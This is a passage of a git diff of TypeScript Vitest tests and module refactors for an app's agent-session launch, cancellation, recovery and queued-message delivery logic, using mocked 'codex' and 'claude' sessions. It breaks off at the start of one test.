-import './structured-agent-session-create-selection.test-fixture'
-
-export function registerActionEffortCreateTests(
-  mocks: {
-    settings: Record<string, unknown>
-    runtimeStatusByEnvironmentId: Map<
-      string,
-      { status: { capabilities: string[]; hostPlatform: string } }
-    >
-    exactSupport: Mock
-    call: Mock<(target: unknown, method: string, params: unknown) => Promise<unknown>>
-  },
-  created: () => unknown
-): void {
-  const target = { kind: 'local' } as const
-  it.each([
-    { host: 'local', ordinary: false },
-    { host: 'runtime:owner', ordinary: false },
-    { host: 'local', ordinary: true }
-  ] as const)(
-    'carries captured raw source through actual admitted $host planning, create and recovery (ordinary=$ordinary)',
-    async ({ host, ordinary }) => {
-      const { planAgentSessionLaunch } = await import('./routing/agent-session-launch-plan')
-      const { useAppStore } = await import('@/store/index')
-      const { setLocalRuntimeCapabilitiesForTests } =
-        await import('@/runtime/hosts/capabilities/local-runtime-capabilities')
-      const {
-        STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY,
-        STRUCTURED_AGENT_SESSION_CLIENT_LAUNCH_MODE_CAPABILITY
-      } = await import('../../../../../shared/agent-session/agent-session-runtime-capabilities')
-      const { readStructuredAgentLaunchRecord } =
-        await import('./structured-agent-session-launch-persistence')
-      const { getStructuredLaunchStateBySessionId } =
-        await import('./structured-agent-session-launch-registry')
-      const capabilities = [
-        STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY,
-        STRUCTURED_AGENT_SESSION_CLIENT_LAUNCH_MODE_CAPABILITY
-      ]
-      setLocalRuntimeCapabilitiesForTests(capabilities)
-      mocks.runtimeStatusByEnvironmentId.set('owner', {
-        status: { capabilities, hostPlatform: 'linux' }
-      })
-      mocks.settings = { agentDefaultSurface: 'chat' }
-      mocks.exactSupport.mockResolvedValue(true)
-      const projection = projectSourceControlActionLaunch(
-        {
-          agentId: 'codex',
-          agentArgs: ordinary ? '--add-dir docs' : `-c 'model="true"'`,
-          launchPreferences: ordinary
-            ? {
-                agentId: 'codex',
-                model: 'astra',
-                options: { effort: 'low' },
-                permissionMode: 'ask'
-              }
-            : {
-                agentId: 'codex',
-                modelSelection: {
-                  base: 'default',
-                  options: { effort: { agentId: 'codex', value: 'high' } }
-                }
-              }
-        },
-        'codex',
-        { basePrompt: 'Fix checks' }
-      )
-      try {
-        for (const emptyChat of [false, true]) {
-          const pending = Promise.withResolvers<unknown>()
-          mocks.call.mockClear()
-          mocks.call.mockReturnValue(pending.promise)
-          const plan = planAgentSessionLaunch(useAppStore.getState(), {
-            requestId: newAgentLaunchRequestId(),
-            agent: 'codex',
-            workspace: { kind: 'git-worktree', executionHostId: host },
-            launchOptions: projection.sessionOptions,
-            chatLaunchOptions: emptyChat ? {} : projection.chatSessionOptions,
-            prompt: 'Fix checks'
-          })
-          expect(plan.route).toBe('structured-native-chat')
-          const handle = plan.begin({}, { worktreeId: 'workspace-1', executionHostId: host })
-          if (!handle) {
-            throw new Error('Expected admitted Chat handle')
-          }
-          await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-          const params = CreateIntentParams.parse(mocks.call.mock.calls[0][2])
-          const choices = ordinary
-            ? { model: 'astra', effort: 'low', permissionMode: 'ask' }
-            : { model: 'true', effort: 'high' }
-          const expected = {
-            ...(host === 'local' ? { permissionMode: 'ask' } : {}),
-            ...(emptyChat ? {} : choices)
-          }
-          expect(params.options ?? {}).toEqual(expected)
-          expect(params.firstMessage?.selection ?? {}).toEqual(
-            emptyChat
-              ? {}
-              : ordinary
-                ? { model: 'astra', effort: 'low' }
-                : { model: 'true', effort: 'high' }
-          )
-          expect(plan.launchOptions).toEqual(
-            ordinary ? { model: 'astra', effort: 'low', permissionMode: 'ask' } : { effort: 'high' }
-          )
-          const state = getStructuredLaunchStateBySessionId(handle.sessionId)
-          expect(state).toBeDefined()
-          const persisted = readStructuredAgentLaunchRecord(handle.sessionId)
-          for (const value of [params, state!.intent, persisted]) {
-            expect(JSON.stringify(value)).not.toContain('chatLaunchOptions')
-            expect(JSON.stringify(value)).not.toContain('chatSessionOptions')
-            expect(JSON.stringify(value)).not.toContain('agentArgs')
-          }
-          const response = created()
-          pending.resolve(response)
-          await expect(handle.settlement).resolves.toMatchObject({
-            kind: 'structured',
-            sessionId: handle.sessionId
-          })
-        }
-      } finally {
-        mocks.settings = {}
-        mocks.runtimeStatusByEnvironmentId.clear()
-        setLocalRuntimeCapabilitiesForTests(null)
-      }
-    }
-  )
-  it.each(['codex', 'claude'] as const)(
-    '%s action effort overlays remembered effort in create and yields to a held pick',
-    async (agent) => {
-      const model = agent === 'claude' ? 'claude-opus-5-5[1m]' : 'gpt-5.4'
-      mocks.exactSupport.mockResolvedValue(true)
-      mocks.settings = {
-        nativeChatSessionOptions: {
-          [agent]: { model, valuesByModel: { [model]: { effort: 'low' } } }
-        }
-      }
-      recordHostModelCatalogSnapshot(target, agent, null, {
-        origin: 'probe',
-        fetchedAt: 1,
-        models: [
-          {
-            id: model,
-            label: model,
-            isDefault: true,
-            efforts: ['low', 'medium', 'high'].map((value) => ({ value, label: value }))
-          }
-        ]
-      })
-      mocks.call.mockImplementation(async () => created())
-      try {
-        for (const held of [undefined, 'medium']) {
-          const launch = startStructuredAgentLaunch('workspace-1', agent, {
-            requestId: newAgentLaunchRequestId(),
-            executionHostId: 'local',
-            prompt: 'opening text',
-            launchOptions: resolveSourceControlActionSessionOptions(
-              {
-                agentId: agent,
-                launchPreferences: { agentId: agent, options: { effort: 'high' } }
-              },
-              agent
-            )
-          })
-          if (held) {
-            holdStructuredAgentSessionLaunchOption(launch.sessionId, 'effort', held)
-          }
-          await launch.launchResult
-          const params = CreateIntentParams.parse(
-            mocks.call.mock.calls.findLast(([, method]) => method === 'agentSession.create')?.[2]
-          )
-          expect(params.firstMessage?.body.blocks).toEqual([{ type: 'text', text: 'opening text' }])
-          expect(params.optionsMode).toBeUndefined()
-          expect(params.options).toMatchObject({ effort: held ?? 'high' })
-          expect(params.firstMessage?.selection).toMatchObject({ effort: held ?? 'high' })
-          if (agent === 'claude') {
-            expect(params.options?.model).toBe(model)
-          }
-          mocks.call.mockClear()
-        }
-      } finally {
-        mocks.settings = {}
-      }
-    }
-  )
-}
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-admission.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-admission.ts
index 2d320739e19..dff6073f281 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-admission.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-admission.ts
@@ -22,7 +22,7 @@ import type {
   StructuredAgentLaunchHooks,
   StructuredAgentLaunchSettlement
 } from './continuation/structured-agent-launch-settlement'
-import type { StructuredPromptDeliveryResult } from '@/lib/agent-session/launch/structured-agent-session-launch-prompt'
+import type { StructuredPromptDeliveryResult } from '@/lib/agent-session/launch/structured-agent-session-launch-callers'
 import type { LaunchAgentInNewTabArgs } from './new-tab/launch-agent-in-new-tab-args'
 import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 import { toRuntimeWorktreeSelector } from '@/runtime/rpc/targets/runtime-worktree-selector'
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-after-failure.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-after-failure.test.ts
index c95c13a7cf5..1044cd552eb 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-after-failure.test.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-after-failure.test.ts
@@ -1,9 +1,34 @@
 // @vitest-environment happy-dom
 
-import type * as LaunchErrors from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
 import { beforeEach, describe, expect, it, vi } from 'vitest'
+import { StructuredAgentSessionCreateRefusalError } from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
+import type * as LaunchErrors from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
+import { refreshLocalStructuredSessionTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
+import {
+  cancelStructuredAgentLaunch,
+  retryStructuredAgentSessionLaunch,
+  startStructuredAgentLaunch
+} from './structured-agent-session-launch'
+import { getStructuredAgentLaunchStatus } from './structured-agent-session-launch-status'
+import {
+  getStructuredAgentSessionLaunchLifecycle,
+  resetStructuredAgentLaunchRegistryForTests
+} from './structured-agent-session-launch-registry'
+import {
+  resetStructuredAgentSessionSendsForTests,
+  sendStructuredAgentSessionMessage
+} from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender'
+import { getStructuredAgentSessionPendingSends } from '@/components/native-chat/session/structured/delivery/structured-agent-session-pending-sends'
+import {
+  relaunchFailedStructuredAgentSessionWithMessage,
+  sendMessageToStartingStructuredAgentSession
+} from './structured-agent-session-launch-message'
+import { clearNativeChatComposerDraftsForTests as clearNativeChatDraftCacheForTests } from '@/components/native-chat/drafts/native-chat-draft-reset'
+import { readNativeChatDraftCache } from '@/components/native-chat/drafts/native-chat-draft-views'
+import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
+import { resetStructuredAgentLaunchPersistenceForTests } from './structured-agent-session-launch-persistence'
 import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
-import type { StructuredAgentSessionLaunchIntent } from '@/lib/launch-structured-agent-session'
+import type { StructuredAgentSessionLaunchIntent } from '@/lib/agent-session/launch/structured-agent-session-launch-intent'
 
 const mocks = vi.hoisted(() => ({
   abandonIntent: vi.fn(),
@@ -35,18 +60,21 @@ vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-create-call'
   launchStructuredAgentSession: mocks.launch
 }))
 
-vi.mock('@/lib/launch-structured-agent-session', () => {
+vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-intent', () => {
   return {
     createStructuredAgentSessionLaunchIntent: mocks.createIntent,
     retryStructuredAgentSessionLaunchIntent: mocks.retryIntent,
     restoreStructuredAgentSessionLaunchIntent: mocks.restoreIntent,
-    abandonStructuredAgentSessionLaunchIntent: mocks.abandonIntent,
     launchStructuredAgentSession: mocks.launch,
     StructuredAgentSessionCreateRefusalError:
       launchErrorMocks.StructuredAgentSessionCreateRefusalError
   }
 })
 
+vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-abandon', () => ({
+  abandonStructuredAgentSessionLaunchIntent: mocks.abandonIntent
+}))
+
 vi.mock('@/runtime/local-structured-session-tabs-sync/inventory-refresh', () => ({
   refreshLocalStructuredSessionTabs: vi.fn()
 }))
@@ -86,29 +114,6 @@ vi.mock('@/lib/agent-catalog/agent-catalog', () => ({
   getAgentCatalog: () => [{ id: 'codex', label: 'Codex' }]
 }))
 
-import { StructuredAgentSessionCreateRefusalError } from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-import { refreshLocalStructuredSessionTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
-import {
-  cancelStructuredAgentLaunch,
-  retryStructuredAgentSessionLaunch,
-  startStructuredAgentLaunch
-} from './structured-agent-session-launch'
-import { getStructuredAgentLaunchStatus } from './structured-agent-session-launch-status'
-import {
-  getStructuredAgentSessionLaunchLifecycle,
-  resetStructuredAgentLaunchRegistryForTests
-} from './structured-agent-session-launch-registry'
-import {
-  resetStructuredAgentSessionSendsForTests,
-  sendStructuredAgentSessionMessage
-} from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender'
-import { getStructuredAgentSessionPendingSends } from '@/components/native-chat/session/structured/delivery/structured-agent-session-pending-sends'
-import { relaunchFailedStructuredAgentSessionWithMessage } from './structured-agent-session-launch-message'
-import { clearNativeChatComposerDraftsForTests as clearNativeChatDraftCacheForTests } from '@/components/native-chat/drafts/native-chat-draft-reset'
-import { readNativeChatDraftCache } from '@/components/native-chat/drafts/native-chat-draft-views'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-import { resetStructuredAgentLaunchPersistenceForTests } from './structured-agent-session-launch-persistence'
-
 type Receipt = { sessionId: string; fence: number }
 
 const WORKTREE_ID = 'wt-after-failure'
@@ -260,25 +265,6 @@ describe('a new launch after a failed one', () => {
     expect(getStructuredAgentLaunchStatus(WORKTREE_ID, 'codex')).toBe('idle')
   })
 
-  it('restores a failed chat after reload without unregistering a newer launch', async () => {
-    await refuseFirstLaunch()
-    resetStructuredAgentLaunchRegistryForTests()
-    let resolveFresh!: (receipt: Receipt) => void
-    mocks.launch
-      .mockImplementationOnce(() => new Promise<Receipt>((resolve) => (resolveFresh = resolve)))
-      .mockResolvedValueOnce({ sessionId: failed.sessionId, fence: 1 })
-    const next = startStructuredAgentLaunch(WORKTREE_ID, 'codex', { requestId: 'request-5' })
-
-    expect(retryStructuredAgentSessionLaunch(WORKTREE_ID, failed.sessionId)).toBe(true)
-    await flushLaunchSettlement()
-
-    expect(getStructuredAgentSessionLaunchLifecycle(WORKTREE_ID, failed.sessionId)).toBeNull()
-    expect(getStructuredAgentSessionLaunchLifecycle(WORKTREE_ID, fresh.sessionId)).toBe('pending')
-    expect(getStructuredAgentLaunchStatus(WORKTREE_ID, 'codex')).toBe('pending')
-    resolveFresh({ sessionId: fresh.sessionId, fence: 1 })
-    await expect(next.launchResult).resolves.toEqual({ sessionId: fresh.sessionId, fence: 1 })
-  })
-
   it('reads a failed resume as not starting, so resuming again opens a new chat', async () => {
     const resumeFrom = { providerSessionId: 'provider-1' }
     mocks.createIntent.mockReturnValueOnce(failed).mockReturnValueOnce(fresh)
@@ -381,3 +367,56 @@ describe('a message sent to a chat whose start failed', () => {
     expect(mocks.callRuntimeRpc).not.toHaveBeenCalled()
   })
 })
+
+describe('a message sent while the chat is still starting', () => {
+  beforeEach(() => {
+    vi.resetAllMocks()
+    localStorage.clear()
+    resetStructuredAgentLaunchPersistenceForTests()
+    resetStructuredAgentLaunchRegistryForTests()
+    resetStructuredAgentSessionSendsForTests()
+    clearNativeChatDraftCacheForTests()
+    vi.mocked(refreshLocalStructuredSessionTabs).mockResolvedValue([
+      publishedSnapshot(failed.sessionId)
+    ])
+    mocks.callRuntimeRpc.mockResolvedValue({
+      ok: true,
+      value: { submission: { dispatchState: 'accepted' } }
+    })
+  })
+
+  it('shows it as sent at once and delivers it, queued, once the chat exists', async () => {
+    let publish = (_receipt: Receipt): void => {}
+    mocks.createIntent.mockReturnValueOnce(failed)
+    mocks.launch.mockReturnValueOnce(new Promise<Receipt>((resolve) => (publish = resolve)))
+    startStructuredAgentLaunch(WORKTREE_ID, 'codex', { requestId: 'request-1' })
+    expect(getStructuredAgentSessionLaunchLifecycle(WORKTREE_ID, failed.sessionId)).toBe('pending')
+
+    const delivery = sendMessageToStartingStructuredAgentSession(
+      WORKTREE_ID,
+      failed.sessionId,
+      'typed while it starts'
+    )
+    expect(delivery).not.toBeNull()
+    expect(getStructuredAgentSessionPendingSends(failed.sessionId).map((e) => e.phase)).toEqual([
+      'sending'
+    ])
+    // One message holds the slot until the chat exists.
+    expect(
+      sendMessageToStartingStructuredAgentSession(WORKTREE_ID, failed.sessionId, 'second')
+    ).toBeNull()
+    expect(mocks.callRuntimeRpc).not.toHaveBeenCalled()
+
+    publish({ sessionId: failed.sessionId, fence: 1 })
+    await expect(delivery).resolves.toEqual({ delivered: true, failureNotified: false })
+    expect(mocks.callRuntimeRpc).toHaveBeenCalledWith(
+      { kind: 'local' },
+      'agentSession.send',
+      expect.objectContaining({
+        body: expect.objectContaining({
+          blocks: [{ type: 'text', text: 'typed while it starts' }]
+        })
+      })
+    )
+  })
+})
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-callers.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-callers.ts
index 8469ad2379a..fdb34136512 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-callers.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-callers.ts
@@ -1,10 +1,10 @@
 import type { StructuredAgentLaunchReceipt } from './structured-agent-session-launch-recovery'
 import type { StructuredLaunchSurfaceAddress } from './structured-agent-session-launch-record'
-import {
-  settleStructuredAgentLaunchPrompt,
-  type StagedStructuredLaunchPrompt,
-  type StructuredLaunchPromptOptions
-} from './structured-agent-session-launch-prompt'
+import { settleStructuredAgentLaunchPrompt } from './structured-agent-session-launch-prompt'
+import type {
+  StagedStructuredLaunchPrompt,
+  StructuredLaunchPromptOptions
+} from './structured-agent-session-staged-prompt'
 import type {
   StructuredAgentSessionForkSource,
   StructuredAgentSessionResumeSource
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancel.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancel.ts
index 9d5ba6b7db2..c4999acad01 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancel.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancel.ts
@@ -2,7 +2,7 @@ import { retireStructuredAgentSessionReadOwner } from '@/components/native-chat/
 import { structuredAgentSessionTargetForHost } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner'
 import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/layout-owner-switch'
-import { markStructuredAgentLaunchCancellation } from '../../launch-cancel-tombstones-compat/structured-agent-session-launch-cancellation'
+import { markStructuredAgentLaunchCancellation } from './structured-agent-session-launch-cancellation'
 import { cancelStructuredAgentLaunchOnLocalHost } from './structured-agent-session-local-launch-cancel'
 import { forgetStructuredSessionSelection } from '../options/structured-agent-session-selection-controller'
 import { hasStructuredAgentLaunchCancellationTombstonePersisted } from './structured-agent-session-launch-persistence'
@@ -15,7 +15,7 @@ import {
   getPersistedStructuredAgentLaunchRecord,
   getStructuredLaunchStateBySessionId,
   notifyStructuredLaunchListeners
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
 
 function markStructuredAgentSessionLaunchCancelledInternal(
   worktreeId: string,
diff --git a/src/renderer/src/lib/launch-cancel-tombstones-compat/structured-agent-session-launch-cancellation.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancellation.ts
similarity index 97%
rename from src/renderer/src/lib/launch-cancel-tombstones-compat/structured-agent-session-launch-cancellation.ts
rename to src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancellation.ts
index eff11b75515..152e0734dbb 100644
--- a/src/renderer/src/lib/launch-cancel-tombstones-compat/structured-agent-session-launch-cancellation.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancellation.ts
@@ -1,12 +1,12 @@
 // Hide/close late publication of canceled creates for paired hosts; they may not fence close-before-create. Local window-owned builds retain tombstones until layout-owner phase F.
-import type { ExecutionHostId } from '../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
 import {
   hasStructuredAgentLaunchCancellationTombstonePersisted,
   markStructuredAgentLaunchCancelledPersisted,
   readStructuredAgentLaunchCancellationTombstoneSessionIds,
   retireAbsentStructuredAgentLaunchCancellationTombstonesPersisted,
   retireStructuredAgentLaunchCancellationTombstonePersisted
-} from '../agent-session/launch/structured-agent-session-launch-persistence'
+} from './structured-agent-session-launch-persistence'
 
 type CancellationRetirement = {
   retireAfterInventory: number | null
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-close-race.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-close-race.test.ts
deleted file mode 100644
index 1889792d8bf..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-close-race.test.ts
+++ /dev/null
@@ -1,291 +0,0 @@
-// @vitest-environment happy-dom
-
-import type * as LaunchErrors from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import { toast } from 'sonner'
-import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
-import type * as RecoveryModule from '@/lib/agent-session/launch/structured-agent-session-launch-recovery'
-import type { StructuredAgentSessionLaunchIntent } from '@/lib/launch-structured-agent-session'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/layout-owner-switch'
-
-const mocks = vi.hoisted(() => ({
-  abandonIntent: vi.fn(),
-  callStructuredAgentSession: vi.fn(),
-  callRuntimeRpc: vi.fn(),
-  createIntent: vi.fn(),
-  retryIntent: vi.fn(),
-  restoreIntent: vi.fn(),
-  launch: vi.fn(),
-  seedDraft: vi.fn(),
-  clearDraft: vi.fn(),
-  rendererTabs: {} as Record<string, unknown[]>,
-  listeners: new Set<(state: { unifiedTabsByWorktree: Record<string, unknown[]> }) => void>()
-}))
-
-vi.mock('sonner', () => ({
-  toast: {
-    error: vi.fn(),
-    message: vi.fn()
-  }
-}))
-
-const launchErrorMocks = vi.hoisted(() => {
-  class StructuredAgentSessionCreateRefusalError extends Error {}
-  return { StructuredAgentSessionCreateRefusalError }
-})
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-errors', async () => ({
-  ...(await vi.importActual<typeof LaunchErrors>(
-    '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-  )),
-  ...launchErrorMocks
-}))
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-create-call', () => ({
-  launchStructuredAgentSession: mocks.launch
-}))
-
-vi.mock('@/lib/launch-structured-agent-session', () => {
-  return {
-    createStructuredAgentSessionLaunchIntent: mocks.createIntent,
-    retryStructuredAgentSessionLaunchIntent: mocks.retryIntent,
-    restoreStructuredAgentSessionLaunchIntent: mocks.restoreIntent,
-    abandonStructuredAgentSessionLaunchIntent: mocks.abandonIntent,
-    launchStructuredAgentSession: mocks.launch,
-    StructuredAgentSessionCreateRefusalError:
-      launchErrorMocks.StructuredAgentSessionCreateRefusalError
-  }
-})
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-recovery', async () => {
-  const actual = await vi.importActual<typeof RecoveryModule>(
-    '@/lib/agent-session/launch/structured-agent-session-launch-recovery'
-  )
-  return { ...actual, launchAndReconcile: vi.fn(actual.launchAndReconcile) }
-})
-
-vi.mock('@/runtime/local-structured-session-tabs-sync/inventory-refresh', () => ({
-  refreshLocalStructuredSessionTabs: vi.fn()
-}))
-
-vi.mock('../../../runtime/native-chat/requests/structured-agent-session-call', () => ({
-  callStructuredAgentSession: mocks.callStructuredAgentSession
-}))
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({
-  callRuntimeRpc: mocks.callRuntimeRpc
-}))
-vi.mock('@/runtime/rpc/compatibility/runtime-compatibility-probe', () => ({
-  ensureRuntimeEnvironmentCompatible: vi.fn(async () => undefined)
-}))
-
-vi.mock('@/store/index', () => ({
-  useAppStore: {
-    getState: () => ({
-      unifiedTabsByWorktree: mocks.rendererTabs,
-      seedNativeChatLaunchDraft: mocks.seedDraft,
-      clearNativeChatLaunchDraft: mocks.clearDraft
-    }),
-    subscribe: (
-      listener: (state: { unifiedTabsByWorktree: Record<string, unknown[]> }) => void
-    ) => {
-      mocks.listeners.add(listener)
-      return () => mocks.listeners.delete(listener)
-    }
-  }
-}))
-
-vi.mock('@/i18n/i18n', () => ({
-  translate: (_key: string, fallback: string, options?: { value0?: string }) =>
-    fallback.replace('{{value0}}', options?.value0 ?? '')
-}))
-
-vi.mock('@/lib/agent-catalog/agent-catalog', () => ({
-  getAgentLabel: (agent: string) => (agent === 'codex' ? 'Codex' : 'Claude'),
-  getAgentCatalog: () => [
-    { id: 'claude', label: 'Claude' },
-    { id: 'codex', label: 'Codex' }
-  ]
-}))
-
-import { refreshLocalStructuredSessionTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
-import {
-  cancelStructuredAgentLaunch,
-  startStructuredAgentLaunch
-} from './structured-agent-session-launch'
-import {
-  hasStructuredAgentSessionLaunchCancellationTombstone,
-  resetStructuredAgentLaunchRegistryForTests
-} from './structured-agent-session-launch-registry'
-import { resetStructuredAgentSessionSendsForTests } from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender'
-import { clearNativeChatComposerDraftsForTests as clearNativeChatDraftCacheForTests } from '@/components/native-chat/drafts/native-chat-draft-reset'
-import { readNativeChatDraftCache } from '@/components/native-chat/drafts/native-chat-draft-views'
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-import { hasStagedStructuredLaunchPrompt } from './structured-agent-session-launch-prompt'
-import { resetStructuredAgentLaunchPersistenceForTests } from './structured-agent-session-launch-persistence'
-
-function launchIntent(
-  worktreeId: string,
-  sessionId = `session-${worktreeId}`
-): StructuredAgentSessionLaunchIntent {
-  return {
-    worktreeId,
-    executionHostId: 'local',
-    target: { kind: 'local' },
-    sessionId,
-    agent: 'codex',
-    params: {
-      envelope: {
-        sessionId,
-        clientOperationId: `operation-${sessionId}`,
-        expectedRuntimeFence: null,
-        payloadFingerprint: `fingerprint-${sessionId}`
-      },
-      worktree: `id:${worktreeId}`,
-      agent: 'codex'
-    }
-  }
-}
-
-async function flushLaunchSettlement(): Promise<void> {
-  for (let i = 0; i < 20; i += 1) {
-    await Promise.resolve()
-  }
-}
-
-describe('a close that races a structured launch', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    localStorage.clear()
-    resetStructuredAgentLaunchPersistenceForTests()
-    resetStructuredAgentLaunchRegistryForTests()
-    resetStructuredAgentSessionSendsForTests()
-    clearNativeChatDraftCacheForTests()
-    mocks.rendererTabs = {}
-    mocks.listeners.clear()
-    mocks.createIntent.mockImplementation((worktreeId: string, agent: 'claude' | 'codex') => {
-      const intent = launchIntent(worktreeId, `${agent}-session-${worktreeId}`)
-      return { ...intent, agent, params: { ...intent.params, agent } }
-    })
-    mocks.retryIntent.mockImplementation((intent: StructuredAgentSessionLaunchIntent) => ({
-      ...intent,
-      params: {
-        ...intent.params,
-        envelope: {
-          ...intent.params.envelope,
-          clientOperationId: `${intent.params.envelope.clientOperationId}-retry`
-        }
-      }
-    }))
-    mocks.callStructuredAgentSession.mockResolvedValue({
-      ok: true,
-      page: { fence: 1 }
-    })
-    mocks.callRuntimeRpc.mockResolvedValue({
-      ok: true,
-      value: { submission: { dispatchState: 'accepted' } }
-    })
-  })
-
-  it('cancels a close-racing unknown launch without retrying or toasting', async () => {
-    const worktreeId = 'wt-close-race'
-    const intent = launchIntent(worktreeId, 'session-close-race')
-    let resolveRefresh!: (snapshots: RuntimeMobileSessionTabsResult[]) => void
-    mocks.createIntent.mockReturnValueOnce(intent)
-    mocks.launch.mockRejectedValueOnce(new Error('response lost'))
-    vi.mocked(refreshLocalStructuredSessionTabs).mockImplementationOnce(
-      () => new Promise((resolve) => (resolveRefresh = resolve))
-    )
-
-    startStructuredAgentLaunch(worktreeId, 'codex', { requestId: 'request-1' })
-    await vi.waitFor(() => expect(refreshLocalStructuredSessionTabs).toHaveBeenCalledOnce())
-    expect(cancelStructuredAgentLaunch(worktreeId, intent.sessionId)).toBe(true)
-    const persistedTombstones =
-      localStorage.getItem('orca:structuredAgentLaunchCancelledSessions:v1') ?? ''
-    if (ORCA_LAYOUT_OWNER_IS_MAIN) {
-      // This machine's main hears the cancel at once and fences the chat; the window keeps none.
-      expect(
-        hasStructuredAgentSessionLaunchCancellationTombstone(worktreeId, intent.sessionId)
-      ).toBe(false)
-      expect(persistedTombstones).not.toContain(JSON.stringify(intent.sessionId))
-      expect(mocks.callStructuredAgentSession).toHaveBeenCalledWith(
-        { kind: 'local' },
-        'agentSession.close',
-        { sessionId: intent.sessionId }
-      )
-      expect(mocks.callRuntimeRpc).toHaveBeenCalledWith(
-        { kind: 'local' },
-        'session.tabs.close',
-        expect.objectContaining({ tabId: `agent-session:${intent.sessionId}` })
-      )
-    } else {
-      expect(
-        hasStructuredAgentSessionLaunchCancellationTombstone(worktreeId, intent.sessionId)
-      ).toBe(true)
-      expect(persistedTombstones).toContain(JSON.stringify(intent.sessionId))
-      expect(persistedTombstones).not.toContain(worktreeId)
-    }
-    resolveRefresh([])
-    await flushLaunchSettlement()
-
-    expect(mocks.launch).toHaveBeenCalledOnce()
-    expect(mocks.abandonIntent).toHaveBeenCalledWith(intent)
-    expect(toast.error).not.toHaveBeenCalled()
-  })
-
-  it("discards a repeated request's one staged prompt when a close cancels the launch", async () => {
-    const worktreeId = 'wt-close-coalesced-prompts'
-    const intent = launchIntent(worktreeId)
-    let resolveRefresh!: (snapshots: RuntimeMobileSessionTabsResult[]) => void
-    mocks.createIntent.mockReturnValueOnce(intent)
-    mocks.launch.mockRejectedValueOnce(new Error('response lost'))
-    vi.mocked(refreshLocalStructuredSessionTabs).mockImplementationOnce(
-      () => new Promise((resolve) => (resolveRefresh = resolve))
-    )
-
-    startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'double-click',
-      prompt: 'first prompt'
-    })
-    startStructuredAgentLaunch(worktreeId, 'codex', {
-      requestId: 'double-click',
-      prompt: 'first prompt'
-    })
-    await vi.waitFor(() => expect(refreshLocalStructuredSessionTabs).toHaveBeenCalledOnce())
-    expect(hasStagedStructuredLaunchPrompt(intent.sessionId)).toBe(true)
-
-    expect(cancelStructuredAgentLaunch(worktreeId, intent.sessionId)).toBe(true)
-    expect(hasStagedStructuredLaunchPrompt(intent.sessionId)).toBe(false)
-    resolveRefresh([])
-    await flushLaunchSettlement()
-
-    // Closed-chat text is neither sent nor returned; layout-owner cancellation only retires it on main.
-    expect(mocks.callRuntimeRpc.mock.calls.map(([, method]) => method)).toEqual(
-      ORCA_LAYOUT_OWNER_IS_MAIN ? ['session.tabs.close'] : []
-    )
-    expect(readNativeChatDraftCache(structuredAgentSessionDraftScopeKey(intent.sessionId))).toBe('')
-  })
-
-  it('suppresses a close that races the retry verification catch', async () => {
